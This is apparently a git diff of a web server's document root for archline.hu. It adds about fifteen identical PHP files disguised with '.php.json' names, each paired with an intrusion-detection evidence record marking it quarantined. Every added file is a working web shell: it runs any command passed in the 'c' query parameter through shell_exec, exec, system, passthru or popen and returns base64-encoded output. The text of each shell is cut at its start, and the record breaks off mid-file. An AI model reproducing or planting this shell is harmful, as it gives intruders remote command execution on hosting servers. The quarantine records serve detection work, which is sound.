diff --git a/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json new file mode 100644 index 0000000..67d5eeb --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2899", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_0auup6mf.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783858318, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_0auup6mf.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json new file mode 100644 index 0000000..0067363 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2915", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_4850bh4a.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783861952, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_4850bh4a.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json new file mode 100644 index 0000000..4f887ed --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2909", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_4g075mza.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783867047, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_4g075mza.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json new file mode 100644 index 0000000..f1a0526 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2833", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_7kri7up1.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783871529, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_7kri7up1.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json new file mode 100644 index 0000000..e50c8a1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2878", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_8ff9si92.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783865771, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_8ff9si92.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json new file mode 100644 index 0000000..7e9695f --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2835", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_c9lejjtn.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857948, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_c9lejjtn.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json new file mode 100644 index 0000000..1fbb719 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2846", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_czk16vzq.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783904363, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_czk16vzq.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json new file mode 100644 index 0000000..c38cf8d --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2917", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_czx65dw0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783870221, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_czx65dw0.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json new file mode 100644 index 0000000..15d0e90 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2864", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_eadu7slw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857929, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_eadu7slw.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json new file mode 100644 index 0000000..1701811 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2830", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_eug6h7tt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783834297, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_eug6h7tt.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json new file mode 100644 index 0000000..cbc0e60 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2865", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_fcmkp9am.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783866429, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_fcmkp9am.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json new file mode 100644 index 0000000..9b8371c --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2873", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_gx74cxjp.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838194, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_gx74cxjp.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json new file mode 100644 index 0000000..230c3e8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2862", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_ixxtxhjy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783951629, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_ixxtxhjy.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json new file mode 100644 index 0000000..997d490 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2851", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_k72j0c9s.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783866468, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_k72j0c9s.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json new file mode 100644 index 0000000..a71f8d7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2825", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_mvo7778m.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838201, + "size": 1228, + "uid": 20043 + }, + "rel_path": "_h3x_mvo7778m.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json new file mode 100644 index 0000000..7e0aba8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2853", + "log_excerpt": "[quarantine] www.archline.hu:_h3x_nx6e9wei.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json)", + "original_sha256": 